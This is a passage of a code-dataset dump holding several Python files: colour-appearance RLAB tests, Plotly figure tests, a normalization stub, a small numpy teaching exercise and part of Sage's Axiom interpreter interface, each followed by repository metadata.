np.array([19.01, 20.00, 21.78])\n        XYZ_n = np.array([95.05, 100.00, 108.88])\n        Y_n = 318.31\n        sigma = 0.4347\n        np.testing.assert_allclose(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma),\n            np.array([49.67, 0.01, 270, 0, np.nan, 0, -0.01]),\n            rtol=0.01,\n            atol=0.01)\n\n        XYZ = np.array([57.06, 43.06, 31.96])\n        Y_n = 31.83\n        np.testing.assert_allclose(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma),\n            np.array([69.33, 49.74, 21.3, 0.72, np.nan, 46.33, 18.09]),\n            rtol=0.01,\n            atol=0.01)\n\n        XYZ = np.array([3.53, 6.56, 2.14])\n        XYZ_n = np.array([109.85, 100.00, 35.58])\n        Y_n = 318.31\n        np.testing.assert_allclose(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma),\n            np.array([30.78, 41.02, 176.9, 1.33, np.nan, -40.96, 2.25]),\n            rtol=0.01,\n            atol=0.01)\n\n        XYZ = np.array([19.01, 20.00, 21.78])\n        Y_n = 31.83\n        np.testing.assert_allclose(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma),\n            np.array([49.83, 54.87, 286.5, 1.1, np.nan, 15.57, -52.61]),\n            rtol=0.01,\n            atol=0.01)\n\n    def test_n_dimensional_XYZ_to_RLAB(self):\n        \"\"\"\n        Tests :func:`colour.appearance.rlab.XYZ_to_RLAB` definition\n        n-dimensional support.\n        \"\"\"\n\n        XYZ = np.array([19.01, 20.00, 21.78])\n        XYZ_n = np.array([95.05, 100.00, 108.88])\n        Y_n = 318.31\n        sigma = 0.4347\n        specification = XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma)\n\n        XYZ = np.tile(XYZ, (6, 1))\n        specification = np.tile(specification, (6, 1))\n        np.testing.assert_almost_equal(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma), specification, decimal=7)\n\n        XYZ_n = np.tile(XYZ_n, (6, 1))\n        np.testing.assert_almost_equal(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma), specification, decimal=7)\n\n        XYZ = np.reshape(XYZ, (2, 3, 3))\n        XYZ_n = np.reshape(XYZ_n, (2, 3, 3))\n        specification = np.reshape(specification, (2, 3, 7))\n        np.testing.assert_almost_equal(\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma), specification, decimal=7)\n\n    def test_domain_range_scale_XYZ_to_RLAB(self):\n        \"\"\"\n        Tests :func:`colour.appearance.rlab.XYZ_to_RLAB` definition domain and\n        range scale support.\n        \"\"\"\n\n        XYZ = np.array([19.01, 20.00, 21.78])\n        XYZ_n = np.array([109.85, 100, 35.58])\n        Y_n = 31.83\n        sigma = VIEWING_CONDITIONS_RLAB['Average']\n        D = D_FACTOR_RLAB['Hard Copy Images']\n        specification = XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma, D)\n\n        d_r = (\n            ('reference', 1, 1),\n            (1, 0.01, np.array([1, 1, 1 / 360, 1, np.nan, 1, 1])),\n            (100, 1, np.array([1, 1, 100 / 360, 1, np.nan, 1, 1])),\n        )\n        for scale, factor_a, factor_b in d_r:\n            with domain_range_scale(scale):\n                np.testing.assert_almost_equal(\n                    XYZ_to_RLAB(XYZ * factor_a, XYZ_n * factor_a, Y_n, sigma,\n                                D),\n                    as_float_array(specification) * factor_b,\n                    decimal=7)\n\n    @ignore_numpy_errors\n    def test_nan_XYZ_to_RLAB(self):\n        \"\"\"\n        Tests :func:`colour.appearance.rlab.XYZ_to_RLAB` definition nan\n        support.\n        \"\"\"\n\n        cases = [-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan]\n        cases = set(permutations(cases * 3, r=3))\n        for case in cases:\n            XYZ = np.array(case)\n            XYZ_n = np.array(case)\n            Y_n = case[0]\n            sigma = case[0]\n            D = case[0]\n            XYZ_to_RLAB(XYZ, XYZ_n, Y_n, sigma, D)\n", "meta": {"hexsha": "62ce802be65946bc6978e44660c7723799175c1d", "size": 4902, "ext": "py", "lang": "Python", "max_stars_repo_path": "colour/appearance/tests/test_rlab.py", "max_stars_repo_name": "JGoldstone/colour", "max_stars_repo_head_hexsha": "6829b363d5f0682bff0f4826995e7ceac189ff28", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "colour/appearance/tests/test_rlab.py", "max_issues_repo_name": "JGoldstone/colour", "max_issues_repo_head_hexsha": "6829b363d5f0682bff0f4826995e7ceac189ff28", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "colour/appearance/tests/test_rlab.py", "max_forks_repo_name": "JGoldstone/colour", "max_forks_repo_head_hexsha": "6829b363d5f0682bff0f4826995e7ceac189ff28", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.6258064516, "max_line_length": 79, "alphanum_fraction": 0.5597715218, "include": true, "reason": "import numpy", "num_tokens": 1497, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490158620112276, "lm_q2_score": 0.12421299700498412, "lm_q1q2_score": 0.057746819334412426}}
{"text": "\"\"\"\nPlotlyFig testing. Most tests are run by comparing generated Plotly figures\nwith pre-generated json files. Some are just ensuring Plotly does not throw\nerrors.\n\"\"\"\nfrom copy import deepcopy\n\nfrom monty.json import MontyEncoder\n\n__author__ = \"Alex Dunn <ardunn@lbl.gov>\"\n\nimport os\nimport unittest\nimport json\nimport numpy as np\nimport pandas as pd\n\nfrom figrecipes.plot import PlotlyFig\n\na = [1.6, 2.1, 3]\nb = [1, 4.2, 9]\nc = [14, 15, 17]\nah = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nbh = [2, 4, 6, 8, 10, 2, 4, 6, 8, 10]\nch = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\nnp.random.seed(23)\nxlabels = [\"low\", \"med\", \"high\"]\nylabels = [\"worst\", \"mediocre\", \"best\"]\npfkwargs = {\n    \"mode\": \"offline\",\n    \"colorbar_title\": \"auto\",\n    \"y_scale\": \"linear\",\n    \"x_scale\": \"linear\",\n    \"ticksize\": 25,\n    \"fontscale\": 0.9,\n    \"fontsize\": 25,\n    \"fontfamily\": \"Courier\",\n    \"bgcolor\": \"white\",\n    \"colorscale\": \"Viridis\",\n    \"margins\": 120,\n    \"pad\": 0,\n    \"filename\": \"offline_plot\",\n    \"show_offline_plot\": True,\n    \"hovermode\": \"closest\",\n    \"hoverinfo\": \"x+y+text\",\n}\n\n\ndef refresh_json(open_plots=False):\n    \"\"\"\n    For developer use. Refresh the json files and open plots to see if they\n    look good. Use this function to set the current PlotlyFig build outputs\n    as the true values of the tests.\n\n    Args:\n        open_plots (bool): If True, opens all plots generated. Useful if you\n            want to check the current build outputs to make sure they look good.\n            If False, just generates the json files and quits.\n    \"\"\"\n\n    pf = PlotlyFig(**pfkwargs)\n    xys = pf.xy([(a, b)], return_plot=True)\n    xym = pf.xy([(a, b), (b, a)], return_plot=True)\n    xy_colors = pf.xy(\n        [(a, b), (a, c), (c, c)],\n        modes=[\"markers\", \"markers+lines\", \"lines\"],\n        colors=[c, \"red\", \"blue\"],\n        return_plot=True,\n    )\n    hmb = pf.heatmap_basic([a, b, c], xlabels, ylabels, return_plot=True)\n    his = pf.histogram(a + b + c, n_bins=5, return_plot=True)\n    bar = pf.bar(x=a, y=b, labels=xlabels, return_plot=True)\n    pcp = pf.parallel_coordinates([a, b], cols=xlabels, return_plot=True)\n\n    scm = pf.scatter_matrix([a, b, c], return_plot=True)\n    vio = pf.violin([a, b, c, b, a, c, b], cols=xlabels, return_plot=True)\n\n    df = pd.DataFrame(data=np.asarray([ah, bh, ch]).T, columns=[\"ah\", \"bh\", \"ch\"])\n    x_labels = [\"low\", \"high\"]\n    y_labels = [\"small\", \"large\"]\n\n    # TODO: this plot was not JSON serializable, use a different serialization\n    #  method for all plots\n    hmdf = pf.heatmap_df(df, x_labels=x_labels, y_labels=y_labels, return_plot=True)\n\n    df = pd.DataFrame(np.random.rand(50, 3), columns=list(\"qwe\"))\n    triangle = pf.triangle(df[[\"q\", \"w\", \"e\"]], return_plot=True)\n\n    fnamedict = {\n        \"xys\": xys,\n        \"xym\": xym,\n        \"xy_colors\": xy_colors,\n        \"hmb\": hmb,\n        \"his\": his,\n        \"bar\": bar,\n        \"pcp\": pcp,\n        \"vio\": vio,\n        \"scm\": scm,\n        \"triangle\": triangle,\n        \"hmdf\": hmdf,\n    }\n\n    for fname, orig_obj in fnamedict.items():\n        obj = deepcopy(orig_obj)\n        if fname in [\"vio\", \"scm\"]:\n            # Layout is compared for the plots which always convert to\n            # dataframes, as dataframes are not easily encoded by json.dump\n            obj = obj[\"layout\"].to_plotly_json()\n        elif fname in [\"triangle\"]:\n            pass\n        else:\n            # plotly figures need to be converted jsonable data\n            obj[\"data\"] = [p.to_plotly_json() for p in obj[\"data\"]]\n\n        with open(\"template_{}.json\".format(fname), \"w\") as f:\n            json.dump(obj, f, cls=MontyEncoder)\n\n    if open_plots:\n        for obj in fnamedict.values():\n            pf.create_plot(obj, return_plot=False)\n\n\nclass PlotlyFigTest(unittest.TestCase):\n    def setUp(self):\n        self.pf = PlotlyFig(**pfkwargs)\n        self.base_dir = os.path.dirname(os.path.realpath(__file__))\n\n    def fopen(self, fname):\n        fname = self.base_dir + \"/\" + fname\n        with open(fname, \"r\") as f:\n            return json.load(f)\n\n    def test_xy(self):\n        # Single trace\n        xys_test = self.pf.xy([(a, b)], return_plot=True)\n        xys_test[\"data\"] = [p.to_plotly_json() for p in xys_test[\"data\"]]\n        xys_true = self.fopen(\"template_xys.json\")\n        self.assertTrue(xys_test == xys_true)\n\n        # Multi trace\n        xym_test = self.pf.xy([(a, b), (b, a)], return_plot=True)\n        xym_test[\"data\"] = [p.to_plotly_json() for p in xym_test[\"data\"]]\n        xym_true = self.fopen(\"template_xym.json\")\n        self.assertTrue(xym_test == xym_true)\n\n        xy_colors_test = self.pf.xy(\n            [(a, b), (a, c), (c, c)],\n            modes=[\"markers\", \"markers+lines\", \"lines\"],\n            colors=[c, \"red\", \"blue\"],\n            return_plot=True,\n        )\n        xy_colors_test[\"data\"] = [p.to_plotly_json() for p in xy_colors_test[\"data\"]]\n        xy_colors_true = self.fopen(\"template_xy_colors.json\")\n        self.assertTrue(xy_colors_test == xy_colors_true)\n\n    def test_heatmap_basic(self):\n        hmb_test = self.pf.heatmap_basic([a, b, c], xlabels, ylabels, return_plot=True)\n        hmb_test[\"data\"] = [p.to_plotly_json() for p in hmb_test[\"data\"]]\n        hmb_true = self.fopen(\"template_hmb.json\")\n        self.assertEqual(hmb_test, hmb_true)\n\n    def test_histogram(self):\n        his_test = self.pf.histogram(a + b + c, n_bins=5, return_plot=True)\n        his_test[\"data\"] = [p.to_plotly_json() for p in his_test[\"data\"]]\n        his_true = self.fopen(\"template_his.json\")\n        self.assertTrue(his_test == his_true)\n\n    def test_bar(self):\n        bar_test = self.pf.bar(x=a, y=b, labels=xlabels, return_plot=True)\n        bar_test[\"data\"] = [p.to_plotly_json() for p in bar_test[\"data\"]]\n        bar_true = self.fopen(\"template_bar.json\")\n        self.assertTrue(bar_test == bar_true)\n\n    def test_parallel_coordinates(self):\n        pcp_test = self.pf.parallel_coordinates([a, b], cols=xlabels, return_plot=True)\n        pcp_test[\"data\"] = [p.to_plotly_json() for p in pcp_test[\"data\"]]\n        pcp_true = self.fopen(\"template_pcp.json\")\n        self.assertTrue(pcp_test == pcp_true)\n\n    def test_violin(self):\n        vio_test = self.pf.violin([a, b, c, b, a, c, b], cols=xlabels, return_plot=True)[\"layout\"]\n        vio_test = vio_test.to_plotly_json()\n        vio_true = self.fopen(\"template_vio.json\")\n\n        # Avoid errors from CircleCI's different plotly config\n        for vio in [vio_test, vio_true]:\n            vio[\"xaxis\"][\"range\"] = [-0.167009, 0.167009]\n        self.assertDictEqual(vio_test, vio_true)\n\n    def test_scatter_matrix(self):\n        scm_test = self.pf.scatter_matrix([a, b, c], return_plot=True)[\"layout\"]\n        scm_test = scm_test.to_plotly_json()\n        scm_true = self.fopen(\"template_scm.json\")\n        self.assertTrue(scm_test == scm_true)\n\n    def test_heatmap_df(self):\n\n        df = pd.DataFrame(data=np.asarray([ah, bh, ch]).T, columns=[\"ah\", \"bh\", \"ch\"])\n        x_labels = [\"low\", \"high\"]\n        y_labels = [\"small\", \"large\"]\n        with self.assertWarns(UserWarning):\n            hmdf_test = self.pf.heatmap_df(df, x_labels=x_labels, y_labels=y_labels, return_plot=True)\n        hmdf_true = self.fopen(\"template_hmdf.json\")\n        self.assertTrue(hmdf_test, hmdf_true)\n\n    def test_triangle(self):\n        df = pd.DataFrame(np.random.rand(50, 3), columns=list(\"qwe\"))\n        triangle_test = self.pf.triangle(df[[\"q\", \"w\", \"e\"]], return_plot=True)\n        triangle_true = self.fopen(\"template_triangle.json\")\n        self.assertTrue(triangle_test, triangle_true)\n\n\nif __name__ == \"__main__\":\n    # refresh_json(open_plots=True)\n    unittest.main()\n", "meta": {"hexsha": "dba136fdd6c04c184816cd3b788d55564e8e2d28", "size": 7657, "ext": "py", "lang": "Python", "max_stars_repo_path": "figrecipes/tests/test_plots.py", "max_stars_repo_name": "hackingmaterials/figrecipes", "max_stars_repo_head_hexsha": "363f80c7eb8946bfb159de59a73353158900934c", "max_stars_repo_licenses": ["BSD-3-Clause-LBNL"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-12-04T01:15:07.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-30T14:52:12.000Z", "max_issues_repo_path": "figrecipes/tests/test_plots.py", "max_issues_repo_name": "hackingmaterials/figrecipes", "max_issues_repo_head_hexsha": "363f80c7eb8946bfb159de59a73353158900934c", "max_issues_repo_licenses": ["BSD-3-Clause-LBNL"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "figrecipes/tests/test_plots.py", "max_forks_repo_name": "hackingmaterials/figrecipes", "max_forks_repo_head_hexsha": "363f80c7eb8946bfb159de59a73353158900934c", "max_forks_repo_licenses": ["BSD-3-Clause-LBNL"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-07-10T16:14:53.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-10T16:14:53.000Z", "avg_line_length": 35.4490740741, "max_line_length": 102, "alphanum_fraction": 0.608332245, "include": true, "reason": "import numpy", "num_tokens": 2187, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.11920293297380237, "lm_q1q2_score": 0.057739526719914114}}
{"text": "import numpy as np\n\n\nclass Normalization:\n    def normalize_x(self, x_vector: np.ndarray):\n        pass\n\n    def denormalize_x(self, x_vector: np.ndarray):\n        pass\n\n    def normalize_y(self, y_vector: np.ndarray):\n        pass\n\n    def denormalize_y(self, y_vector: np.ndarray):\n        pass\n", "meta": {"hexsha": "e6c55d7c1ec4de907f7c9d1896b348901b38e992", "size": 297, "ext": "py", "lang": "Python", "max_stars_repo_path": "main/gpbasics/DataHandling/Normalization/NormalizationStructure.py", "max_stars_repo_name": "Bernsai/GaussianProcessFundamentals", "max_stars_repo_head_hexsha": "43631e5161a243e7d79cf26b76bf289276f0c65a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main/gpbasics/DataHandling/Normalization/NormalizationStructure.py", "max_issues_repo_name": "Bernsai/GaussianProcessFundamentals", "max_issues_repo_head_hexsha": "43631e5161a243e7d79cf26b76bf289276f0c65a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main/gpbasics/DataHandling/Normalization/NormalizationStructure.py", "max_forks_repo_name": "Bernsai/GaussianProcessFundamentals", "max_forks_repo_head_hexsha": "43631e5161a243e7d79cf26b76bf289276f0c65a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.5625, "max_line_length": 50, "alphanum_fraction": 0.6498316498, "include": true, "reason": "import numpy", "num_tokens": 73, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.11920293140927592, "lm_q1q2_score": 0.057739525962088666}}
{"text": "import numpy as np \n\nname = ['Cat', 'mouse', 'Fluffy', 'Whiskers']\nage = [5, 4, 11, 34]\nweight = [12.0, 5.5, 23.0, 45.5]\n\ndateformat = {'names':('name','age','weight'),'formats':('U10','i4','f8')}\n\nx = np.zeros(4,dtype=dateformat)\n#print(x)\n#print(x.dtype)\n\nx['name'] = name\nx['age'] = age\nx['weight'] = weight\n\nprint(x)\n\nprint(x['name'])\n\nprint(x[x['weight']>15]['name'])", "meta": {"hexsha": "e357bcb509195b877218e0b939e61cc03fb938cb", "size": 372, "ext": "py", "lang": "Python", "max_stars_repo_path": "Workshop4/ProjectFiles/Workshop4_c.py", "max_stars_repo_name": "hammanandre/GirlCode_Python_One", "max_stars_repo_head_hexsha": "ef0b4b50ec2991a72e8c81941934d21cfe3bdb05", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-04-09T01:22:03.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-01T17:31:29.000Z", "max_issues_repo_path": "Workshop4/ProjectFiles/Workshop4_c.py", "max_issues_repo_name": "hammanandre/GirlCode_Python_One", "max_issues_repo_head_hexsha": "ef0b4b50ec2991a72e8c81941934d21cfe3bdb05", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-04-13T05:49:49.000Z", "max_issues_repo_issues_event_max_datetime": "2020-04-13T11:29:49.000Z", "max_forks_repo_path": "Workshop4/ProjectFiles/Workshop4_c.py", "max_forks_repo_name": "hammanandre/GirlCode_Python_One", "max_forks_repo_head_hexsha": "ef0b4b50ec2991a72e8c81941934d21cfe3bdb05", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.7142857143, "max_line_length": 74, "alphanum_fraction": 0.5752688172, "include": true, "reason": "import numpy", "num_tokens": 141, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769843, "lm_q2_score": 0.11920292515117029, "lm_q1q2_score": 0.057739522930786914}}
{"text": "r\"\"\"\nInterface to Axiom\n\nTODO:\n\n- Evaluation using a file is not done. Any input line with more than a\n  few thousand characters would hang the system, so currently it\n  automatically raises an exception.\n\n- All completions of a given command.\n\n- Interactive help.\n\nAxiom is a free GPL-compatible (modified BSD license) general\npurpose computer algebra system whose development started in 1973\nat IBM. It contains symbolic manipulation algorithms, as well as\nimplementations of special functions, including elliptic functions\nand generalized hypergeometric functions. Moreover, Axiom has\nimplementations of many functions relating to the invariant theory\nof the symmetric group `S_n.` For many links to Axiom\ndocumentation see http://wiki.axiom-developer.org.\n\nAUTHORS:\n\n- Bill Page (2006-10): Created this (based on Maxima interface)\n\n\n  .. note::\n\n     Bill Page put a huge amount of effort into the Sage Axiom\n     interface over several days during the Sage Days 2 coding\n     sprint. This is contribution is greatly appreciated.\n\n- William Stein (2006-10): misc touchup.\n\n- Bill Page (2007-08): Minor modifications to support axiom4sage-0.3\n\n.. note::\n\n   The axiom4sage-0.3.spkg is based on an experimental version of the\n   FriCAS fork of the Axiom project by Waldek Hebisch that uses\n   pre-compiled cached Lisp code to build Axiom very quickly with\n   clisp.\n\nIf the string \"error\" (case insensitive) occurs in the output of\nanything from axiom, a RuntimeError exception is raised.\n\nEXAMPLES: We evaluate a very simple expression in axiom.\n\n::\n\n    sage: axiom('3 * 5')                     #optional - axiom\n    15\n    sage: a = axiom(3) * axiom(5); a         #optional - axiom\n    15\n\nThe type of a is AxiomElement, i.e., an element of the axiom\ninterpreter.\n\n::\n\n    sage: type(a)                            #optional - axiom\n    <class 'sage.interfaces.axiom.AxiomElement'>\n    sage: parent(a)                          #optional - axiom\n    Axiom\n\nThe underlying Axiom type of a is also available, via the type\nmethod::\n\n    sage: a.type()                           #optional - axiom\n    PositiveInteger\n\nWe factor `x^5 - y^5` in Axiom in several different ways.\nThe first way yields a Axiom object.\n\n::\n\n    sage: F = axiom.factor('x^5 - y^5'); F      #optional - axiom\n               4      3    2 2    3     4\n    - (y - x)(y  + x y  + x y  + x y + x )\n    sage: type(F)                               #optional - axiom\n    <class 'sage.interfaces.axiom.AxiomElement'>\n    sage: F.type()                              #optional - axiom\n    Factored Polynomial Integer\n\nNote that Axiom objects are normally displayed using \"ASCII art\".\n\n::\n\n    sage: a = axiom(2/3); a          #optional - axiom\n      2\n      -\n      3\n    sage: a = axiom('x^2 + 3/7'); a      #optional - axiom\n       2   3\n      x  + -\n           7\n\nThe ``axiom.eval`` command evaluates an expression in\naxiom and returns the result as a string. This is exact as if we\ntyped in the given line of code to axiom; the return value is what\nAxiom would print out.\n\n::\n\n    sage: print axiom.eval('factor(x^5 - y^5)')   #optional - axiom\n               4      3    2 2    3     4\n    - (y - x)(y  + x y  + x y  + x y + x )\n    Type: Factored Polynomial Integer\n\nWe can create the polynomial `f` as a Axiom polynomial,\nthen call the factor method on it. Notice that the notation\n``f.factor()`` is consistent with how the rest of Sage\nworks.\n\n::\n\n    sage: f = axiom('x^5 - y^5')                  #optional - axiom\n    sage: f^2                                     #optional - axiom\n       10     5 5    10\n      y   - 2x y  + x\n    sage: f.factor()                              #optional - axiom\n               4      3    2 2    3     4\n    - (y - x)(y  + x y  + x y  + x y + x )\n\nControl-C interruption works well with the axiom interface, because\nof the excellent implementation of axiom. For example, try the\nfollowing sum but with a much bigger range, and hit control-C.\n\n::\n\n    sage:  f = axiom('(x^5 - y^5)^10000')       # not tested\n    Interrupting Axiom...\n    ...\n    <type 'exceptions.TypeError'>: Ctrl-c pressed while running Axiom\n\n::\n\n    sage: axiom('1/100 + 1/101')                  #optional - axiom\n       201\n      -----\n      10100\n    sage: a = axiom('(1 + sqrt(2))^5'); a         #optional - axiom\n         +-+\n      29\\|2  + 41\n\nTESTS: We check to make sure the subst method works with keyword\narguments.\n\n::\n\n    sage: a = axiom(x+2); a  #optional - axiom\n    x + 2\n    sage: a.subst(x=3)       #optional - axiom\n    5\n\nWe verify that Axiom floating point numbers can be converted to\nPython floats.\n\n::\n\n    sage: float(axiom(2))     #optional - axiom\n    2.0\n\"\"\"\n\n###########################################################################\n#       Copyright (C) 2008 Mike Hansen <mhansen@gmail.com>\n#                     2007 Bill Page\n#                     2006 William Stein <wstein@gmail.com>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#  The full text of the GPL is available at:\n#\n#                  http://www.gnu.org/licenses/\n###########################################################################\n\nimport os, re\n\nfrom expect import Expect, ExpectElement, FunctionElement, ExpectFunction\nfrom sage.misc.misc import verbose, DOT_SAGE\nfrom pexpect import EOF\nfrom sage.misc.multireplace import multiple_replace\n\n# The Axiom commands \")what thing det\" \")show Matrix\" and \")display\n# op det\" commands, gives a list of all identifiers that begin in\n# a certain way.  This could maybe be useful somehow... (?)  Also\n# axiom has a lot a lot of ways for getting documentation from the\n# system -- this could also be useful.\n\nclass PanAxiom(Expect):\n    \"\"\"\n    Interface to a PanAxiom interpreter.\n    \"\"\"\n    def __init__(self, name='axiom', command='axiom -nox -noclef',\n                 script_subdirectory=None, logfile=None,\n                 server=None, server_tmpdir=None,\n                 init_code=[')lisp (si::readline-off)']):\n        \"\"\"\n        Create an instance of the Axiom interpreter.\n\n        TESTS::\n\n            sage: axiom == loads(dumps(axiom))\n            True\n        \"\"\"\n        eval_using_file_cutoff = 200\n        self.__eval_using_file_cutoff = eval_using_file_cutoff\n        self._COMMANDS_CACHE = '%s/%s_commandlist_cache.sobj'%(DOT_SAGE, name)\n        Expect.__init__(self,\n                        name = name,\n                        prompt = '\\([0-9]+\\) -> ',\n                        command = command,\n                        maxread = 10,\n                        script_subdirectory = script_subdirectory,\n                        server=server,\n                        server_tmpdir=server_tmpdir,\n                        restart_on_ctrlc = False,\n                        verbose_start = False,\n                        init_code = init_code,\n                        logfile = logfile,\n                        eval_using_file_cutoff=eval_using_file_cutoff)\n        self._prompt_wait = self._prompt\n\n    def _start(self):\n        \"\"\"\n        Start the Axiom interpreter.\n\n        EXAMPLES::\n\n            sage: a = Axiom()\n            sage: a.is_running()\n            False\n            sage: a._start()     #optional - axiom\n            sage: a.is_running() #optional - axiom\n            True\n            sage: a.quit()       #optional - axiom\n        \"\"\"\n        Expect._start(self)\n        out = self._eval_line(')set functions compile on', reformat=False)\n        out = self._eval_line(')set output length 245', reformat=False)\n        out = self._eval_line(')set message autoload off', reformat=False)\n\n    def _read_in_file_command(self, filename):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: axiom._read_in_file_command('test.input')\n            ')read test.input \\n'\n            sage: axiom._read_in_file_command('test')\n            Traceback (most recent call last):\n            ...\n            ValueError: the filename must end with .input\n\n        ::\n\n            sage: filename = tmp_filename(ext='.input')\n            sage: f = open(filename, 'w')\n            sage: f.write('xx := 22;\\n')\n            sage: f.close()\n            sage: axiom.read(filename)    # optional - axiom\n            sage: axiom.get('xx')         #optional\n            '22'\n        \"\"\"\n        if not filename.endswith('.input'):\n            raise ValueError, \"the filename must end with .input\"\n\n        # For some reason this trivial comp\n        # keeps certain random freezes from occurring.  Do not remove this.\n        # The space before the \\n is also important.\n        return ')read %s \\n'%filename\n\n\n    def _quit_string(self):\n        \"\"\"\n        Returns the string used to quit Axiom.\n\n        EXAMPLES::\n\n            sage: axiom._quit_string()\n            ')lisp (quit)'\n            sage: a = Axiom()\n            sage: a.is_running()\n            False\n            sage: a._start()     #optional - axiom\n            sage: a.is_running() #optional - axiom\n            True\n            sage: a.quit()       #optional - axiom\n            sage: a.is_running() #optional - axiom\n            False\n        \"\"\"\n        return ')lisp (quit)'\n\n    def _commands(self):\n        \"\"\"\n        Returns a list of commands available. This is done by parsing the\n        result of the first section of the output of ')what things'.\n\n        EXAMPLES::\n\n            sage: cmds = axiom._commands() #optional - axiom\n            sage: len(cmds) > 100  #optional - axiom\n            True\n            sage: '<' in cmds      #optional - axiom\n            True\n            sage: 'factor' in cmds #optional - axiom\n            True\n        \"\"\"\n        s = self.eval(\")what things\")\n        start = '\\r\\n\\r\\n#'\n        i = s.find(start)\n        end = \"To get more information about\"\n        j = s.find(end)\n        s = s[i+len(start):j].split()\n        return s\n\n\n    def trait_names(self, verbose=True, use_disk_cache=True):\n        \"\"\"\n        Returns a list of all the commands defined in Axiom and optionally\n        (per default) store them to disk.\n\n        EXAMPLES::\n\n            sage: c = axiom.trait_names(use_disk_cache=False, verbose=False) #optional - axiom\n            sage: len(c) > 100  #optional - axiom\n            True\n            sage: 'factor' in c  #optional - axiom\n            True\n            sage: '**' in c     #optional - axiom\n            False\n            sage: 'upperCase?' in c  #optional - axiom\n            False\n            sage: 'upperCase_q' in c #optional - axiom\n            True\n            sage: 'upperCase_e' in c #optional - axiom\n            True\n        \"\"\"\n        try:\n            return self.__trait_names\n        except AttributeError:\n            import sage.misc.persist\n            if use_disk_cache:\n                try:\n                    self.__trait_names = sage.misc.persist.load(self._COMMANDS_CACHE)\n                    return self.__trait_names\n                except IOError:\n                    pass\n            if verbose:\n                print \"\\nBuilding %s command completion list (this takes\"%(self)\n                print \"a few seconds only the first time you do it).\"\n                print \"To force rebuild later, delete %s.\"%self._COMMANDS_CACHE\n            v = self._commands()\n\n            #Process we now need process the commands to strip out things which\n            #are not valid Python identifiers.\n            import re\n            valid = re.compile('[^a-zA-Z0-9_]+')\n            names = [x for x in v if valid.search(x) is None]\n\n            #Change everything that ends with ? to _q and\n            #everything that ends with ! to _e\n            names += [x[:-1]+\"_q\" for x in v if x.endswith(\"?\")]\n            names += [x[:-1]+\"_e\" for x in v if x.endswith(\"!\")]\n\n            self.__trait_names = names\n            if len(v) > 200:\n                # Axiom is actually installed.\n                sage.misc.persist.save(v, self._COMMANDS_CACHE)\n            return names\n\n    def set(self, var, value):\n        \"\"\"\n        Set the variable var to the given value.\n\n        EXAMPLES::\n\n            sage: axiom.set('xx', '2')    #optional - axiom\n            sage: axiom.get('xx')         #optional - axiom\n            '2'\n\n            sage: fricas.set('xx', '2')    #optional - fricas\n            sage: fricas.get('xx')         #optional - fricas\n            '2'\n\n        \"\"\"\n        cmd = '%s := %s'%(var, value)\n        out = self._eval_line(cmd, reformat=False)\n\n        if out.find(\"error\") != -1:\n            raise TypeError, \"Error executing code in Axiom\\nCODE:\\n\\t%s\\nAxiom ERROR:\\n\\t%s\"%(cmd, out)\n\n\n    def get(self, var):\n        r\"\"\"\n        Get the string value of the Axiom variable var.\n\n        EXAMPLES::\n\n            sage: axiom.set('xx', '2')    #optional - axiom\n            sage: axiom.get('xx')         #optional - axiom\n            '2'\n            sage: a = axiom('(1 + sqrt(2))^5') #optional - axiom\n            sage: axiom.get(a.name())          #optional - axiom\n            '     +-+\\r\\r\\n  29\\\\|2  + 41'\n        \"\"\"\n        s = self._eval_line(str(var))\n        i = s.rfind('Type:')\n   